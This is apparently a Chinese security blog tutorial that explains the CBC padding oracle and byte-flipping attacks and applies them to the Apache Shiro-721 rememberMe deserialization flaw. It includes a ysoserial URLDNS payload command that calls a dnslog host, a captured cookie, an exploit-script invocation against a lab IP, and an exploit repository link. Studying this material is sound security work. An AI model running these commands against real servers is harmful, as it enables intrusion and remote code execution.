首先我们可以看一下CBC模式的流程图
初始化向量IV和第一组明文XOR后得到的结果作为新的IV和下一组明文XOR,按这样循环下去就得到结果。解密是加密的逆过程,也就是密文被Key解密为中间值,然后中间值与IV进行XOR运算得到该分组对应的明文
上面说到了CBC模式是分组解密,那么到最后一组的时候可能就长度就不足了,这个时候就需要填充。对于采用DES算法加密的内容,填充规则是PKC #5,而AES是 PKC #7,这两者唯一区别是PKCS #5填充是八字节分组而PKCS #7是十六字节。
具体填充方式如下图
最后一组剩下n个就填几个0xn
Padding Oracle Attack是针对CBC链接模式的攻击,和具体的加密算法无关
在看下面内容时 , 得先知道这些名词的含义 :
RawIV
: 原始的IV , 解密时即为前一个密文分组 .FuzzIV
: 枚举的IV , 下文会通过枚举 IV 的方式来计算出明文的值Key
: 密钥PlainText
: 明文分组CipherText
: 密文分组MediumValue
: 我们把 CipherText
和 Key
进行 Block_Cipher_Decryption
运算后的值称为 MediumValue
( 中间值 )在解密时 , CipherText
会被密钥 Key
解密为 MediumValue
, 然后 MediumValue
会与 RawIV
进行异或运算 , 得到该分组对应的 PlainText
。
但是我们不需要去解密( 如前文所说 : Oracle 的核心是提交数据让服务端解密 , 并验证解密后明文分组的 Padding 是否符合规范 ) , 因此我们创建一个新的 IV ( 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
) 作为 FuzzIV
, 并结合 CipherText
提交给服务端。
服务端会将接收到的 FuzzIV
与 解密后的 MediumValue
进行异或运算 , 得到一个明文分组(这里的明文分组不是指PlainText
, 它只是用于验证异或计算结果是否满足 PKCS5Padding
规范) , 然后去验证这个明文分组的 Padding 是否有效。
在某一轮解密中 , 服务端异或运算后的明文分组为 0x29 0x34 0x5A 0x6B 0x07 0xA3 0xB2 0x3C
, 这个分组的 Padding 不满足 PKCS5Padding
规范 , 因此这轮解密中提交的 FuzzIV
是无效的 , 服务端会返回 "密文有效 , 填充无效" 的报错信息。
不断修正 FuzzIV
的值( 0x00 - 0xFF
, 最多修正 255 次 ) . 直到某一轮解密中 , 服务端异或运算后的明文分组为 0x39 0x73 0x23 0x32 0x5A 0x7B 0x9C 0x01
, 这个 Padding 符合 PKCS5Padding
规范 , 因此这轮提交的 FuzzIV
是有效的 . 服务端会返回 "密文有效 , 填充有效" 的信息。
当获取了有效的 FuzzIV
后我们能做什么呢 ? 我们能够根据等价代换得到如下公式 :
∵ FuzzIV[8] ^ MediumValue[8] = 0x01
∴ MediumValue[8] = FuzzIV[8] ^ 0x01
MediumValue
与 RawIV
的异或运算结果就是真正的明文,存在如下公式 :
∵ MediumValue[8] ^ RawIV[8] = PlainText[8]
∴ PlainText[8] = RawIV[8] ^ FuzzIV[8] ^ 0x01
FuzzIV[8]
, RawIV[8]
都是已知的 , 因此我们可以直接计算出 plainText[8]
的值 . 这就是 Padding Oracle Attack
的攻击原理
同理我们可以计算出plainText[7]的值
∵ FuzzIV[7] ^ MediumValue[7] = 0x02
∴ MediumValue[7] = FuzzIV[7] ^ 0x02
∵ MediumValue[7] ^ RawIV[7] = PlainText[7]
∴ PlainText[7] = RawIV[7] ^ FuzzIV[7] ^ 0x02
后面的过程都是类似的 , 我们可以通过这种 Padding Oracle 的方法获取每一位明文的值
通过Oracle可以在不知道key的情况下得到全部明文的值,有没有什么可以篡改明文的值呢,这里就需要用到CBC字节翻转攻击,原理就是通过损坏密文字节来改变明文字节
首先生成一个URLDNS payload
java -jar ysoserial-0.0.5.jar URLDNS "http://m1y3uh.dnslog.cn" > payload.ser
然后我们需要一个合法的用户RememberMe Cookie,通过Burpsuite抓包获得
rememberMe=mS/W4Ko16uqItdZWwUnf/zSXUVLIoZk4e9aCeHgFB6LTwMkLJiQykvdK2EpMMz0oUPHQMAsNbw0fBMU0BSf2QxAWghMPhrusV7wiqI5edlrnaSwRt3++Gg7x2+cvlQdcLA2CiHkwCiPQsUGaues7KHoEq9SLHHJY3esGu2kpwcWokf0WWEymn1PN7DHnI3eZkrkvEozEp6vimuDQJ+28jeeD0vtOYjlpYXs8P8ucVhE3u51g7nbwqporXBkGzKVdEAABhFd6/dCkV2/HMjBty7bgV6MSV4WKfpGHlC6MyLZlOp5TmIZYlQQb3Wqxr6eJ0TsxTmxMzJT0ve1/D/4mVE+s8SMcEEQsaF+WudKR3HNJr40ndhv/JOu5iKhMpy26AAAAAAAAAAAAAAAAAAAAAA==
然后开始利用,exp地址
python shiro_exp.py "http://10.17.0.82:8080/samples_web_war/" "mS/W4Ko16uqItdZWwUnf/zSXUVLIoZk4e9aCeHgFB6LTwMkLJiQykvdK2EpMMz0oUPHQMAsNbw0fBMU0BSf2QxAWghMPhrusV7wiqI5edlrnaSwRt3++Gg7x2+cvlQdcLA2CiHkwCiPQsUGaues7KHoEq9SLHHJY3esGu2kpwcWokf0WWEymn1PN7DHnI3eZkrkvEozEp6vimuDQJ+28jeeD0vtOYjlpYXs8P8ucVhE3u51g7nbwqporXBkGzKVdEAABhFd6/dCkV2/HMjBty7bgV6MSV4WKfpGHlC6MyLZlOp5TmIZYlQQb3Wqxr6eJ0TsxTmxMzJT0ve1/D/4mVE+s8SMcEEQsaF+WudKR3HNJr40ndhv/JOu5iKhMpy26AAAAAAAAAAAAAAAAAAAAAA==" payload.ser
最后得到可利用的RememberMe Cookie
然后开始利用
跟进convertBytesToPrincipals方法
这里首先会判断有无密钥服务对象(CopherService),有就使用decrypt方法
跟进getCipherService方法
跟进decrypt方法,这里面是AES解密方法
跟进JcaCipherService#decrypt方法
程序在这里会调用getInitializationVectorSize方法获取IV长度
然后在new byte处获取一个iv对象
接着调用了arraycopy函数
Java.lang.System.arraycopy(Object src, int srcPos, Object dest, int destPos, int length)
概念 : 将源数组中从指定位置开始的数据复制到目标数组的指定位置 .
src : 源数组
srcPos : 源数组要复制的起始位置
dest : 目的数组
destPos : 目的数组放置的起始位置
length : 复制的长度
现在就得到了新的密文encrypted,这也是真正的密文,之前ciphertext只是base64解密后的密文,最后就调用JcaCipherService#decrypt的重载方法
这里调用 JcaCipherService#crypt方法进行解密 , 继续跟进
这里new了一个initNewCipher类,作用是提供了一些加密解密的方法
接着调用JcaCipherService#crypt方法
这里调用了doFinal方法
AESCipher#engineDoFinal会判断是否Padding成功,回到JcaCipherService#crypt,如上一个图,如果Padding失败就会抛出异常Unable to execute 'doFinal' with cipher instance。回到getRememberedPrincipals方法
convertBytesToPrincipals抛出异常了就会被catch捕获,使用onRememberedPrincipalFailure方法处理,跟进
跟进forgetIdentity,在当前类并没有实现该方法,在CookieRememberMeManager类中继承了该类实现了forgetIdentity方法,跟进
继续跟进forgetIdentity
跟进removeFrom方法
这里的value值为DELETED_COOKIE_VALUE即deleteMe
所以如果Padding失败,那么就会返回一个Cookie: RememberMe=deleteMe,那么Padding成功有什么特征呢
Java原生反序列化是按照约定的格式读取序列化数据,一步一步反序列化的也就是如果在序列化数据后面加入一些数据,是不会影响反序列化的。也就是说我们可以利用一个已有的rememberMe cookie值(AES加密的序列化数据),在其后加入一段数据,只要ASE能正确解密数据,就可以被反序列化。
所以这里布尔条件就出来了
最后payload的构造就是不断的用两个block去padding得到intermediary之后,构造密文使得解密后得到指定明文,最后拼接到原有的cookie上。
exp: https://github.com/3ndz/Shiro-721